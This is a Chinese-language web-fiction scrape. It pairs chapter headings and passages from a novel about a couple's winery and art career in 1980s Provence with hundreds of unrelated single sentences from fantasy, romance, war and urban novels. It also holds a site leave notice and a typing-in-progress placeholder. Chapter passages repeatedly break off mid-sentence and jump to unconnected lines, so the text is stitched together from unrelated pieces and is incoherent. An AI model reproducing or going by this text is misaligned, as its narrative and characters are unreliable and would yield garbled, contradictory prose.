斯特斯加的账目老板娘兼财务总监佐伊每个月都会算,很好理出来。 年初布兰科给了罗南130万法郎的启动资金,那之后买酒庄所需设备、买北坡土地、买‘斯特斯加’的招牌、建恒温酒窖、更新农用设备,又和杰罗姆进行了一次库存清算,最少的时候只剩下不到30万。 但还好有每个月的‘旅游项目’贴补,收回来的 “大概……就是天空中第二次出现「天庭」影像的时候。”张道玄这边稍微思考了一下,他才知道怎样表述,这些人才能够理解的更清楚一点。 两人呆呆地走上车,直至车队缓缓驶离了瑰丽酒店,他们才渐渐回过神来。 躲躲闪闪的畏缩视线里,入城的塞力斯人,分作几股缓缓行进街道上,各队巡视了几条街,方才重新集结,清点完人数,傍晚时分来到东城的城门下点燃篝火。 这种状态,这种体质,真的是太让李慕嘉这个ICU的医生羡慕了。 如果说赵宏业原来还有点架子,那么现在就是半点架子都没有了,别看他这里装修得极具格调,收藏腕表动辄都是千万级、百万级的。 “魏导我感觉这妆容有偶像包袱,我认为可以化得更真实一点。”黄白游言下之意是更丑一点。 "喝就不必了,这位,是北萱芸公主殿下吧?"说着,方黎的目光落到了北萱芸身上,依旧笑道。 儿子不争气他是知道的,就算儿子要玩什么rap,没办法之下,他也是听之任之了。 然而面对这突如其来的逆袭,炎蹄身形一闪,毫不拖泥带水的就躲开了。 顿了顿,黎安娜又咬着牙说道,一想到那些人,她恨不得寝其皮、吃其肉、喝其血,显然是恨到骨子里面了。 回到家后,肖默第一时间拉着刘语去医院做了个全身检查,检查结果跟他们猜想的没多大出入。 众多骑兵扬起了手中的武器,军阵之后,阵阵擂鼓之声,开始在平川之后响起。 何芷青瞬间瞪大了双眼,特别是当对方说出来这些话时,何芷青感觉到浓烈的惧意。 宋喜军走了!他的话虽然不重,但是却像是给了他们一记七伤拳。 而那沼泽中的尸骨,能存在如此之久未腐,那必然是强大的修者,法力通天的修者,就这样的一片繁盛世界,为何会成为地狱,死亡的地狱? 白天的时候,家里过于冷清,两个老人在这边又没有什么熟人,也便待不下去了。 也正是因为这样,所以,方慧根本就不可能听钱海川任何的解释。 秦经理握上了董事长的手,一改刚才霸气的神情,眼睛弯成了一道月牙,还有两个不深不浅的酒窝,美丽动人。 不空走出了许久,周围已经几乎看不到了人烟,天色也渐渐阴暗了下来,一轮弯月,倒挂当空,这才在朦胧月色之下,略作停顿。 “喜欢,只要是美人给本公子的,本公子都喜欢。”他伸手接茶,想摸一把万朝云的手。 一朝天子一朝臣,改朝就必然换代,但是换成谁,怎么换,换完了之后又该怎样确保干活的人依旧在,既能顺心如意,又能让公司维持正常运作,这些都是一个作为新上位的管理者应该思考的事情。 王川说得有理有据让人不得不叹服,而且每一步讲解都很专业,不愧是高级鉴宝师。 秦处长到底是老油条,即便在这种时候,都没有把话说死,只是说会最大的程度上考虑自己。 第593章 熊孩子大作战 上一次去梅纳村看狗展,那只抢戏的格里芬给罗南留下了太深的印象。 以至于那之后一两周,吃饭时看到地上有黑乎乎的毛状物会下意识的紧张一下,生怕手里和嘴里的食物‘不翼而飞’了。 梅纳村和卢尔马兰一样,全部是乡间小路,临近足球场,车速无法太快,刚刚他余光看到路边的葡萄园里有一团黑乎乎的东西移动, 可这时候,帖子已经发到网上去了,他知道不好,这是有人要搞事,只得先把高鸿飞转移。 “师兄,这是卢合使用的元器。”郑雪昭捡起断成数节的八杖滚地矛。 搞笑的是,有些史学家竟然把刘邦推孩子下车比作刘备摔孩子收买人心。 前方的洞口虽然在发光,但是一点动静都没有,也没有明显的空气流动,白契突然怀疑刚才的动静究竟是不是玄武搞出来的。 休息完毕,他们继续赶路,总算是在临近傍晚天色渐暗的时候到达了目的地。 “我的任务完成了。”黑煞蛮荒猿说着,便给王哲让开了一条路来。 莫芊桃起床时,已经是日照高头,睁开眼睛的一瞬间,满屋子里都倾洒的日光,暖洋洋的气息让她顿时陷入慵懒状态,若不是那刺鼻的中药味,她还真能再睡一会儿。 沈飞走到幽林边缘蹲下看了一眼,有些折断的灌木丛枝叶上,有一半郁郁葱葱,但是另外一部分似乎是被什么东西灼伤,树叶干硬枯黄,只是稍稍用力一捏,全部化为齑粉。 所有对于这一具冥五的尸体,摩西没有任何疑问,只是,白泽什么时候如此厉害了? 此时防护罩外,已经没有什么人了,王哲与皇甫英姿二人有惊无险的通过了防护罩的缺口,钻进了里面空间。 尤其是看着冯宝宝那夸张的样子,那种本来担忧的人一下子笑了起来。 神雷罚世之下,原本黑山湖上,正围绕着神秘丹炉打转的九天玄雷,瞬间云集到了韩飞和三头玄蛇上空。 ,风无情当时被龙战天击伤也是事实,但,帝灵与龙海,却是风无情手下,最强大的战将。 黄美英也不清楚自己为什么会想到去身边这个仅仅知道名字的男人家里留宿,或许是因为他身上那种莫名的安全感? 她剧烈的动作,似乎还动了胎气,让她的肚子强烈不适,脸色也变得涨红。 自己说完后,手机听筒那边,却是传来了一阵充满嘲弄的低笑声。 帝灵看了一眼林若火,突然有种奇怪的难受,从来没有过的难受。 花娘子见段惊霆竟会应承自己,虽知眼前少年难以对付,但急难之下得有一线生机,也由她面上显出一丝喜色。 古梓倾把食物分给他们之后,自己抱着果脯罐子慢慢的啃,时不时递给南门白亦一块。 很明显曹沫心里很清楚卷入怎样的麻烦,但他从头到尾都表现极其镇定,也将一定安排得井井有条,没有丝毫的慌乱。 “大哥,你真的,不要红云了吗?你若需要,红云一直都在。”秦朝云只管盯着姬云尘。 很多人心中不由得警惕起来,他自来此之后,一直蓄而不发,等待的应该便是此刻,这场宴席,真正的戏肉应该便要开始了。 “问什么问?有什么好问的?要是真的不会,明天去学校问老师,以后少和她凑一起,免得被她带坏了!”孙梅扯着黎永念就要走。 金元赌场虽然简陋,目前客源以华人为主,但也有游走在大厅里专吃散客的职业赌徒。 以艾茗薇的脑子,完全能想到这些理由,看来,她们是提前沟通好的。 “那几位老祖?”秦仇录断了一条胳膊,精神有点萎靡,却还在惦记麒麟山的事。 结果现在翅膀硬了,就做出这种忘恩负义、私传绝学的事情来了!连根本的道理都不讲了吗? “娘,我爹的命重要,我姐夫的命就不重要吗,况且就算今天我姐夫去了,万一他要是回不来,我爹一样没治了。”叶乔溪在一旁喊了起来。 浮生至尊怒喝一声,天地响起滚滚惊雷般的声音,至尊之威震慑众生,哪怕只是初入至尊,也足以让通神级惊惧。 林风点头,这是肯定的了,天下第一门派,接连被人暗中算计,而且招招狠毒,欲毁了整个无名道教,偏偏他们还不知道这暗中势力是谁,能不发火么。 她们似乎根本没有想到攻击的到来,只有两名士兵守在海岸左边山上的卡特里堡堡垒中,这个堡垒原来是澳大利亚盟军用了防御旭日帝国舰队的,堡垒上的大口径重炮可以对帝国战列舰造成很大威胁。 甚至,祖皇境以上强者发挥出来的力量,不见得比天王境强大多少。 对着赵宁儿无辜的松了松肩膀,示意与自己无关,只是林风心中到底如何想,却是没人知道了。 本在兴奋的时候,突然被人泼了一盆冷水,风不凡自然不相信他所说的,于是拿出了以前炼制好的下品补灵丹,准备一个一个的进行淬炼。 而在其他人看来,方青也确实是依仗了林氏商会的庇才能至今安然无恙。 而且,从这些元神上流露出的气息来看,却是正邪不一,当然,这是林风的定论,其实在神通界,并没有真正的正邪之分。 为什么要分两个会场,这两个会场是有不同的,最大的那个会场是拍卖会的主会场。至于这个分会场,是特殊物品拍卖场,说白话点,就是奴隶拍卖场/奴隶市场。 上官筠芙一脸的讥讽,随手丢出一件玄级上品宝剑,仿佛打发乞丐一样道。 哪想到,大嫂得知此事,对她却更殷勤了,又给她加了一桶水,当下还保证,以后一定不会再跟她作对了,如果有人打相公的主意,她就帮她把人赶跑,不管是谁来都不行。 “我不想死!”那名幸存者扭动身体,然而手脚都被捆死,像被钓上岸的鱼儿毫无意义地扑腾。 她问心无愧,若是陆赢川真的为了避嫌更换自己的职位,自己也无话可说。 谁让人家只是练气者,只需要全力对抗镇魂塔的一重威压就好了。 第594章 公主的童话世界 见佐伊把孩子们带的这么好,阿兰不嚷嚷着提前走了,弗雷迪也骂得更起劲了,安心的继续看后面的比赛。 看完球赛,他们还建议大家别着急回卢尔马兰,去梅纳村新开的披萨店吃完饭再回去,语气中甚至带着‘恳求’。 罗南自然拒绝了他们的提议。 想让佐伊继续给你们免费带孩子? 想得美! “ 那个瘦子终于把莫婉心的绳子解开了,但是他只是解开了绑在椅子上的,手腕上还有脚上的绳子都在。 弗朗西斯嘴角泛起浓厚的笑意,想不到光明教会居然对自己如同的宽容,让自己掌握整个西格堡的内政以及以前的军队:“我现在还是男爵,毕竟没有教宗的首肯,又怎么敢自称子爵“。 “不敢,殿下。那诺兰山怎么处置,全凭殿下心情。”百虎楼界主脸上虽然挂不住,但却没有一丝反抗之心。 卡尔听着这番话,倒吸了一口凉气,幸亏自己堵了一次。要是贸然在今天晚上和弗朗西斯一同行动,必将会功败垂成:“也就是说,安奈林男爵是有意这么做,好让他顺理成章的杀掉弗朗西斯“。 他自顾自的,率先走了进去,而她就像个听话的宠物一样,跟在他的身后,走了进去。 青色剑光在接近哈德利圣域本尊的时候,突然开始爆涨。原本不到2米的剑光一下就变得长达几十米,而且其上青光更带着森森寒意,连周围的山石树木都瞬间覆盖上了一层冰霜。 “皛蝶,嘿嘿,来,喝!我们不回去,不回去”雪儿这会已经好几杯下肚了。显然醉得不轻了。 看到昏倒在地上的青风雕,哈德利满意地点了点头,既然对方不愿意主动臣服,那就只好先拍晕,然后强行收服对方。 身后,年轻士兵送别狂三,脸上的红晕终于在室外的海风下逐渐消散。 张炜回到了五九八团的阵地这侧,再转身看向罗塘高地,和冲杀敌阵地时又是一种不同的感觉,看着那若隐若现的火光,和冲天的烟柱与爆炸,张炜颇有成就感。 “袁绍军对韩馥下手,邺城已经沦陷了!”张颌很是沉痛的说道。 此时黄武十分后悔,他早知道别墅中的人不简单,就不该來碰这块烫手山芋。现在他只有咬着牙不泄露消息。 桃花飘飞。十里传香。一座可以媲美府邸的木屋坐落在半山腰。绿绿葱葱的树木挡住人们前行的路。将美丽的桃源和外界断绝开。 王破二人一走过去,顿时四道冷冽目光扫了过来,让人身体微寒。 足足拨打了十几分钟,一直都是在通话中,怎么也没有办法通电话,俊枫又拨打百里阿姨的电话,但是情况是一样的。 这本秘籍说来也是有背景,此功法修炼最后阴符缭绕,如同有鬼出没一般让人防不胜防。 “门主,你可以查探一下,到底是什么人杀了副门主!”华老看了看这面目全非的融天翔,随即对融天霸说道。 冷昱第一时间伸出双手,一把将雨希束进自己的怀里,紧紧的搂着雨希,双眸中的愤怒与火焰蹭的便窜了出来。 汉军“十面埋伏”,形如天网,楚军固守垓下,势如鸟雀。此刻,项羽军的反击好似困兽犹斗;刘邦军的进攻捷报频传。垓下战场,杀声震天。两军拚搏,你死我活。著名的垓下之战就这样展开了。 第595章 将来要恐怖成什么样子? 佐伊和歌迪亚一拍即合——在下周去艾克斯开导帕特里西亚时,向她推荐罗南的新作品。 主题很明确,细节同样重要。 晚上,佐伊询问罗南,在下周二之前是不是可以做出一点雏形,让她们在推荐的时候有更多可说的。 罗南告诉妻子,按照目前的进度来看,在下周二之前,把全部防腐实验做完都很困难,基本不可 让一旁的旁观者老萧心惊肉跳的,想着BOSS有着让人羡慕不来的齐人之福,但也有让人头痛不以的烦恼。 “行,那你先回答我第一个问题,你是怎么知道关闭了屏蔽器之后,就会有病人醒过来?”郑伟重复了一遍自己的问题。 赵炎也算是艺高人胆大,明知道对方设下的鸿门宴,也毫无惧色,欣然前往。 徐永和陈楚良两人在法院提供的休息室里面,对今天庭审现场的情况讨论着最终的结果。 在跟李紫嫣的母亲聊天的时候,李修缘告知了对方自己的年龄。虽然他答应过李紫嫣,不会把自己是挡箭牌的事儿告诉她的父母。但是她希望可以用这种方式,向李紫嫣的母亲暗示他们之间的关系。 华清大学里也有水,但怎么看都不如京北大学里的未名湖来的壮观。这也是李修缘第一次知道,原来京北大学的校园内还有一座湖呢。而且,未名湖的中心还有一座湖心岛。 中午李修缘吃了一顿大餐,李经理一直在外面候着,吃完饭后亲自开车把李修缘送到了厂子。然后把李修缘安顿在了休息室,接着等刘总前来。 催促母亲回房间休息后,沈逸感觉肚子确实有些饿了,便来到厨房给自己煮了碗番茄鸡蛋面,端到客厅吃了起来。 他微微有些心惊,罗兰身边可是有着两名A级异能者的,而他既然将这个青年带到了家族,那就是说两名A级异能者也解决不了这个青年,而且还被威胁将他带到了这里。 平常,自己问问题,叶天肯定会回答自己,但是这次叶天却好像没有听到一般。 少典时只是王室明面上的杀手锏,而王室的终极杀手锏就是深宫之的少典桓,不过知道少典桓存在的人很少。 她见识尚浅,不知这是什么妖法,更无法窥察秦川的修为几何。但能够做得这般临危不惧,却也已经是人中之杰了。 我大娘抱着那白启航的半截身子。眼中带有一丝泪光。难过的说到:“为何救我”说完。眼泪止不住的落了下來。 要知道,进化液所代表的阶段只不过是身体素质的一种反应,在实战中,最重要的还是刀法战技、身法战技、意识等等。 “哎呀,不是我说,我还以为这树上的西瓜多好吃呢,想不到这么多的籽。呸,不吃了!”说完,我大爷把西瓜往后一丢消失在了那树林之中。再看我大爷,手腕一转,那勺子就消失在他的手里了。 景炫不确定丁馗部的危害性,决定返回边界上观望,而他又猜测靳曼部可能要偷袭他的屯粮地,于是兵分两路到两个地方埋伏。 “哈哈哈,有此塔在,西岸防守无虞!”丁馗一语道出方塔的军事价值。 那夜京州城外自己用元灵暗中窥视了他与闻人醉,定然不会逃过他的眼睛。这般还好,就怕他瞧出了自己真正的身份。司空寂修为高深无比,能够一眼识破自己的伪装,也不是绝无可能。 “这里?悬崖陡壁的,爬下去太危险了。”罗伯特走进悬崖边看看了悬崖的陡峭程度,然后摇着头说。 李军重重地拍在桌子上,他耷拉着脑袋,就像是一只斗败的公鸡。 拆开手臂上的布,血肉模糊的样子让阮煜眉心一跳,这是什么动作,才让白天上的药都白废了? 不想继续呆在这里,她不开心;也能看到陆欢娥因为肖夕若的事不开心。 身体猛地一震,仿佛是那庞兽在疾奔中突然停步,接着,那翻江倒海的消化液就将我整个淹没了,意识在刹那间失去。 冷云馨深邃一笑,她就是喜欢看江慕宸这副厌恶她到骨子里,却又不得不被她牵制的表情。 “说话客气点,免得会引发一些严重后果!”姚东冷冷瞪了那名执事一眼,眼眸中充满了警告之意。 “你!”司徒秀秀气结,这丫头的态度实在太让人讨厌,她也是心里不平衡想过来给她个下马威,怎么就偏偏油盐不进? 范筱希一门心思全部都放在杨沐沐身上,她不敢有任何的松懈,毕竟,蓝逸轩的母亲也是找人侮辱杨沐沐的始作俑者。 “怎么?我说对了?哈哈!敢不敢和我用男人的方式来较量一场?”僵尸边说边拔出插在腰间的匕首对着唐江召。 范筱希把陆少聪约出来,说是希望他能陪着一块儿到陆家去,陆少聪自然满口答应,虽然他心里知道是为了什么事,但是,他却不说出来,等着范筱希自己说。 抢了好半天,柳哲恩提着树根满屋跑,觉着声音有点大,这样追赶也不像话,就停了下来。 第596章 我单身就该死是不是?! 计划很顺利,周二晚上佐伊从艾克斯回来,迫不及的通知罗南——帕特里西亚小姐听说罗南在创作新的作品,而且是他所擅长的爱情主题,在没有见到作品最终样子的前提下,表达了‘它必须是我的’的强势想法。 大小姐的态度无异于在普罗旺斯传统拍卖会上将代表本地买家最高权力的薰衣草干花插到了自己的头上,这代表无论这 众人不情不愿地离开,这个郑人就是喜欢故弄玄虚,能够留在大帐内的是法王、缇珠、昆波、利漫、恩翰、卡律等人,这些人是真正决定北漠命运的人。 依洛娜听着将匕首刺向那泛着光的结界,但是匕首并没有像她想象中的那样将结界刺破,反而是像刺中了墙壁一样将依洛娜的手弹了回来。 诸多平行空间的生命体死后都存在于平行位面,这个概念有些复杂。 各抽了两张之后,除了底牌,陈林这次的牌面是梅花J,而苏如茵的牌面是红桃5。陈林下注。 会试三年一次,是大郑最高规格的取士考试,作为会试的主考官、同考官是值得夸耀终身的事情,取中的士子更视考官为座师,等同于一下子多出三百多名官场上的弟子,既有面子又有里子、名利双收的好事。 看到楼上两只妖魔出现,齐浩知道其中一只可能是耻,另一只是什么还未知。 不知道这个城市里有没有谁知道有关于“门”的传说,那样的话找起来应该会方便一些吧。 “那,此物有什么不同的地方,规避掉这些问题?”周鹜天问道。 四位元老同时结印,守护鲛皇宫的万蛟龙阵,由原来的防守转为强大攻击。 没有对白,没有互动,这算什么?林菲儿有些生气,却还是一丝不苟的的随秦明摆弄,就好像一个牵线木偶。 林宇心里有些好笑,看着灵体又坐在了自己旁边开始自言自语,好像有说不完的话一样。 周凡也好奇地投去了目光,只见为首之人是个老者,穿着一身大褂黑色长袍,佝偻着腰,戴着一顶宽大的帽子,而在他旁边,有两个护卫模样的年轻人,留着寸头穿着中山装,气血充足,很是精干。 “也是,你现在赚的是美元欧元,RMB的附加值没有这两种货币高”乔春生笑着说道,旁边的人都点了点头。 接下来,崂山,威海,蓬莱,最后又回到了青岛,三人到青岛的时候行李箱空空的,现在,三个大行李箱都是满满的,一路上,徐平安购物花费了四万多,百分之九十九都是两位老人喜欢的。 怎么说呢,白契忽然想起自己上一世看过的“独木成林”景象,不过那是在热带了吧,如今在这种高山上再见到这样的大树,难免再次发出感叹。 哪怕是再麻烦刘少卿,哪怕是因为这件事。不得不再跟刘少卿打交道,他也认了。 莫林睁开眼睛,说道:“命运裁决之定位。”一条红线凭空出现,朝着一个方向飞去,莫林紧跟其后。 “我帮他看病。”周凡说完之后,就将两根手指搭在了老者的脉搏之上,然后凝眉沉听。 “队长,你说怎么做,我们都听你的。”王晓同看着云沁妍的侧脸道。 放在上一世,世人都知道“解放生产力”是强国兴邦不二法宝,可是放在这个井田制制度下国祚数千年的诸夏天朝,姚云这番言论犹如洪钟大吕,振聋发聩,具有着莫大的冲击力。 钱家和陈家果然是第一天阶排名前两名的土豪世家,在其它世家眼中贵重的蔽气石,在他们这里,就是普通的建筑材料罢了。 “这位姐…”姜陵刚要介绍,米莉安却连退三步,面露几分惊惧。 “又岂是你食言,我也曾经发过誓,一定要保护好自己所爱的人。不让她在受到一点伤害,一点委屈,可是刚才你差一点就离我而去,这怎么可以,这个不可以!”雷羽在心中咆哮。 柳上淡也不知道该怎么评论棋傲好,不少人都争着上朝,倒是这家伙却一点也不想……这个家伙这个性格,以后在皇族中,地位是很难提升的。 我只想告诉你们,也告诉我,坚持一定要坚持,不管别人怎么反对你,不管你受到什么样的压迫,什么样的痛苦你都要记住两个字,坚持,因为坚持才能成功。 谦雪对于在实力上完全比不过的姐姐她心理明白这会是什么下场。但是如果自己得不到柔雪的认可,那么只会被姐姐欺负一辈子。 柳拓嘴角边上轻轻抽搐着,那精辉四射的眼睛掠过一丝凶光,当年十四岁少年的一脸的稚气马上一扫而空,抬起头来抓起了浩震雷递过来的白虎匕。 虫岛凶险无比,有死无生,但毕竟对于绝大多数人来说只是道听途说,而没有亲身经历过,若是在确定回头就是必死的情况下,那自然会选择进虫岛搏一搏。 我苦笑着摇了摇头说:“你怎么还是不信?”说着,我屈指一弹,五雷咒法释放出一点点雷电之力击中了她的手腕,她手中的枪就掉到了地上。 凌秒猜不到苏煜阳此时的表情,他死死地盯着短信,仿佛能透过手机看到苏煜阳一般。凌秒短信发出没多久,就收到了苏煜阳的回信。 这一刻,洪易灵肉合一,众圣殿堂和大解脱轮两大神器之王合二为一,身体就好像是潮流一般,时代一般,没有人可以阻挡。 银煞看着我脸上有些不屑,似乎对我这近乎找死的行为很是鄙夷。 圣殿门前的地面上一片狼藉,到处都是以色列金蝎和毒蛇爬过的痕迹。 她无奈地道:“那哀家也不想让你去涉险,就算想知晓情报,不是还有别人么,地龙,你太操之过急了些。”地龙抿唇,那模样,像是已然决定了。 但是当异形皇后的内槽牙和明蒂相撞的时候,王凯能够肉眼看到冲击波的出现,而明蒂而已倒飞了出去,撞在水桶粗细的柱子上,直接把石柱给撞断。 “这坑爹的网速,老子11点57点上传,到零点才上传上去,这他妈不是坑我是什么?”凌秒看着路由器,路由器闪烁着幽暗的绿光,本来是很柔和的光线,却刺痛了凌秒的双眼。 夏阳暴喝一声,红尘仙所在的星空区域直接炸开,爆发出最为璀璨的光,照亮无垠的星空,震动万古岁月,粉碎所有史册。 第597章 不走寻常路的罗南先生 罗南对防腐知识的了解来源于【编织】技能升到2级时,系统给的海量知识。 在【编织】大类中,所有制作材料都要经过防腐这一步,过去的一年多中,罗南对于编织家具和饰品的防腐处理掌握的非常娴熟,因为藤蔓的防腐处理相对简单和直接。 但甜品防腐处理比编织家具的防腐难度高了太多,即使罗南没事就研究这一块 梼杌周身星光闪烁,身体骤然变得巨大无比,硬生生的朝着祖龙珠,撞了过去。 让吕天明极为满意的是,此时的他虽然还处在后天后期的层次,但是用到玄铁弓的时候,每一次都能发挥出后天圆满的力量。那种力量,就算比不上四象崩第二式,也差不了多少。 闻言,这不过天仙的火灵猴,只能充当了向导,引着三妖,前往炎灵果树。 事实上,他已从其中一人的面相上感到隐约的熟悉感,猜测自己或许前天在泽瑞尔侦探家中时就已见过对方的脸了。 这台日历最后一次被撕掉,已经是莫宇凡他们做梦的那天晚上的二十天之后了。 毕竟,他还从来没有哪一位弟子陨落过,元神牌位究竟会出现哪几种变化,他也不知道。 跟在江郎的身边实在是太爽了,尤其是在作战的时候,那种感觉实在是太刺激了。 因为这不是活人的梦,因此在入梦的时候比起对于人类可以稍微大胆一些。 “额,9点15了……”我感觉自己这句话说得有些多余了,死乐乐偷买东西也用不着找一个这么烂的借口吧。 二人见行军蚁不再关注他们,于是他们使出法力布置一座隐身阵法。随着阵法启动,二人凭空消失一般。 随着一阵咕噜咕噜的声音响起,李凤娇的头颅滚到了穆大少的脚下,仰面朝天,但眼中却有了一丝明悟,原来齐老三是被人控制了心神。 这几天没怎么出现,主要是不想让土著这么早察觉到自己的位置,没错,他想要在捞军功的同时,继续那个游戏,所以这次他一口气跑了一百多公里,不是往南,而是往北,连最后的目标也定在了北部战区。 打到最后,赢叁这个赢家军头子感叹了一声:“还是人太少了,还不够全体士兵升一级的。”这句话不知被谁传到了剩下各城的守将那里,于是接下来赢家军的前进就更是如入无人之境。 穆西风收起了那装有重楼本源的玉瓶,眼中露出了纠结之芒。良久无奈一叹,拿出了一个玉瓶将重楼的骨沙收了进去。毕竟此人是擎天的兄弟,就这样让他孤零零的留在这里穆大少心中过意不去。 “展平,你说如果当初我们留在北京,现在会是什么样子?”高浩天盯着杯子里的酒,眼神迷离。 “赵先生,我们还有任务呢,这里的话会有人来帮你处理好的。”其中的一个好像是队长一样的家伙对着赵安全说道。 “上仙需要办理什么业务?”声音妖媚,勾魂动魄,这边是妖族之人天生的妖媚气质。 “可恶,老子的分身还没有继续分裂呢!”多多破口大骂一句接着本尊灵力急速上升,然后冲出海面。 听到越发靠近的声音,粲粲的瞳孔瞬间放大,猛地起身。却不知道乔慕辰正在她面前弯着腰。 隐情深吸几口气,让自己冷静下来,这才缓缓直起腰,向着山洞内走去。 请假条 今天去BJ复查了,折腾了大半天,回来写了一千多字,状态有点不佳,脑子也不怎么好使,请假一天早早睡觉,抱歉了抱歉了! 《1986:我的普罗旺斯幸福生活》请假条 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 《1986:我的普罗旺斯幸福生活》爱曲小说全文字更新,牢记网址: 第598章 假的也说成真的 普罗旺斯艺术界最近发生了几起大事件。 首先是《普罗旺斯艺术指南》最新一期中报道,著名的本土艺术品藏家、旅游大亨图拉姆先生的小女儿帕特里西亚与普罗旺斯艺术协会主席马雷查尔在艾克斯进行了一次秘密会晤,内部人士称,这次会谈持续了三个小时之久。 《普罗旺斯艺术指南》是米切兰杂志社进军普罗旺斯艺术 而听到这个声音,青狼妖和虺蛟蛇妖也停下了动作,相视一眼,也犹疑了起来。 “钟大哥好仁义,不过你腰间锦囊里好像还有一粒,能不能现在就给我?”雷鸣嬉笑着问道。 听到劫的戏谑声,龙星麟也是嘟着嘴,劫只要这样,就肯定没有什么好事,而且,劫说的也好像也有点儿道理的。 叶潇看着尽在咫尺的剑刃风暴,心里也是有些虚,因为自己也是第一次将滴水剑意用作这种防御形态。 而由于一些强力的剑势技能还在冷却之中的关系,叶潇也掀开了一直保留的几张底牌。 平时给龙门城中送傀弩傀弹,都有专人护送,而且走的还不是显眼的道路,还不止一条下山道路,每次走的都是不同的道路。 “这件事,六大家族不给咱们一个说法,老子扫平了他们。”雷震动了肝火,六大家族和天门雷家势均力敌,扫平对方谈何容易,但此刻再也顾不得这许多。 叶潇看着自己如今强悍了太多的技能模板,微微点头。自己的剑势技能在初期的剑圣职业中已经算很是丰富,唯一还需要增长的就是自己的专长了。一个强悍的专长对于战斗的增幅作用真的是不言而喻。 滚滚鬼气和酒吞童子独有的“狂气”就像一阵阵炮弹雨一样朝着叶潇落了下来。 别人想着怎么活下来,禾玉想的却是在北疆建立自己的势力,推翻秦无垢的统治,这就是差距,雷鸣和他有着难以企及的差距。 但故常听到这句话,心里想的自然是另外的一种可能:韩靖应该是隐瞒了什么,不想他知道韩靖的来历。 独孤无心正是独孤薇薇的爷爷,甚至还是她唯一的血脉亲人了所以第二剑的陨落,对于她而言几同于天塌地陷般的打击。 与之相反的是,肖家寨和平头镇灯火辉煌,人潮马鸣,各类信使如箭奔跑。 撒旦刚要做什么,以他凝聚了星辰大道的巅峰星相来说,不管要做什么,那都是举手抬足间的事情。 “大公子……可惜的是,楼子里有很多的好弟兄姐妹,给楚羽驱逐的驱逐,害死的害死了。”布达拉宫缓过神来道。 虽然龙吟雪在大道统得到了蜕变,进化为神体,但在大道统把她交出去的那一刻,她便已经不欠大道统什么了。 这本来是很难想象的事,要知道他可是育气中期的强者,别说是有人将手伸到面前,就是想要靠近他,也不是轻易能够办到的事。即便是再如何无声无息,也不可能半点气息都没有。 “你们认为,‘大风堂’上下,还有比我更美的美男子吗?”熊东怖摸着卤蛋也似的光头,张着长满麻点、疤痕、白斑的血盆大脸,自信满满的问身边人。 在被灵墟之眼吞噬的那一刻,萧勉身受重伤,还遭受到了那道来自灵界的血婴攻击,可说是内有外患。 安素的公司主要做厨房瓷器的生意,旗下有三家工厂,自己生产,然后经销到全国各地。公司的名字叫做厨丽。取的是厨房丽人的意思。 第599章 我这是言出法随了? 当天晚上,在罗南的逼迫下,歌迪亚终于对他说了实情——虽然作品至今没有完成,但为了让帕特里西亚心安,她‘谎称’已经见过作品,还说了几句夸赞的话。 “你应该理解我吧,作为你的经纪人,美化作品是理所应当的事情,我难道还能说你和你的作品不好吗?但我发誓,我没有说任何实质性的内容,全部是‘废话’。”为了 上位空间到底是什么,强大生物出现又意味着什么我不知道,不过我知道现在起,要强大自己的实力,不然很难在这个动‘乱’的世界立足。莫说拯救众生,只怕连自己都拯救不了。 对于这些游客,她们也不敢得罪,来的顾客都是上帝,更何况它们这种世界级的品牌,要更加注重名声。 “你能接我这招,排位赛前十,火凌自动放弃!”双拳此刻俨然被异之力包裹变得黝黑,轻轻移动间,缕缕黑色气息都像是要划破空气一般,火凌也是放声笑道。 院子里的打闹声、枪声早已惊动了左邻右舍,这时候,门外端着灯的,敲着门的,已经弄得嘈杂纷乱,人是越来越多。 但易川显然没有发现这个问题,自信满满的朝着所谓北斗星的方向走了下去。 “你当我没说!”牛霸天说完,赶忙拉着齐石鹰就跑回了候赛厅。 段重急急忙忙向殿后走了几步,来到殿门口冲外面招了招手,终于看见有几个太监极为吃力的扛着一个大箱子缓步的挪了上来。 不过这百木林有一条官道横穿,那是许久前的一位大天皇朝的掌权者,也就是那时候的大天皇者,带着一支军队,加上他绝强的实力,硬是开辟出了一条横穿百木林的道路。 这些都间接的说明了,明月帝国的强大,虽然现在形式有点乱,但是总体来说还是很富强的。 角落之中,两个岁数不大的青年,透过缝隙观察着余志乾还有谢晋元两人。 真是时也,运也,命也,冥冥之中皆有定数,活该岛国遭此一劫。 肖恩看了眼神树的方向,对方实力和自己差不多,只是没有一个好的功法,他也没有,可是他会探索,他笑了笑,在人家的地盘上办事,也交了点税收。 可不知道为什么看到这样的一个休息室,她却有种很温暖的感觉,是因为像家? 但是到了天级的境界就不是这样了,若是那样的境界上,实力成倍的增长足够越级对战了,只要到了天级后期,那还有谁能够与秋玄相抗衡?就算是天级后期的高手,也不能打败能够把实力翻倍增加的天级后期高手。 刚才还在看着楚非凡勒索杨逍,正感到有些好笑,冷不防,人家把矛头就对准了自己,这一刻豪天的脸色也变得极为难看,甚至不知何时掩月刀都被拿在了手中,一幅随时都会出手的样子。 当他再睁开的时候,倏而迸出两道睥睨的目光,神色间流露出无比强烈的自信。 除此以外,源于“食材”相关的是属性提升,只有第一个享用的玩家才能获得实际效果,剩下的人就是尝尝味道。 林动无可奈何,唯有收下,内心告诫自己,往后还是少来这种地方。 低头一看,胸前的衣襟被司筠不受控制伸出来的爪子撕开了几条巨大的裂缝。 景建国笑眯眯的给众人续了茶水,将一个服务生的工作做得非常完美。 第600章 我不是她儿子,你才是她儿子 罗南在家休整了一天,第三天天蒙蒙亮,他便起床收拾,开车带着妻子佐伊和经纪人歌迪亚前往艾克斯。 帕特里西亚叮嘱他们早一点到,这事可绝对不能忘了。 虽然三个人出发的早,但这个时间卢尔马兰醒着的人已经不少了,村里很多房子里亮着灯,还有人打扮得人模狗样的在家门口擦车。 “都是要去艾克斯的。 郑纾解见沈鸿煊夫妻出来,知道夫妻二人一定有私密的话要谈,咳咳,当然还有一些别的,看嫂子的嘴唇就知道,沈老二还真闷骚。 号声从黄色的烟云中响了起来,尽管并不知道那号声意味着什么,但是在城墙垮塌的瞬间,陆顺德就很清楚,今天一切都会分出一个结果来。 这一路上心情一直沉甸甸的,脑袋里一直回荡着那种血腥的场面,各种各样的残肢断臂,各种各样的死尸匍匐在滚烫的黄色土地上。没有经历过这种事情的人,永远也想象不到,那种修罗地狱一般的场景。 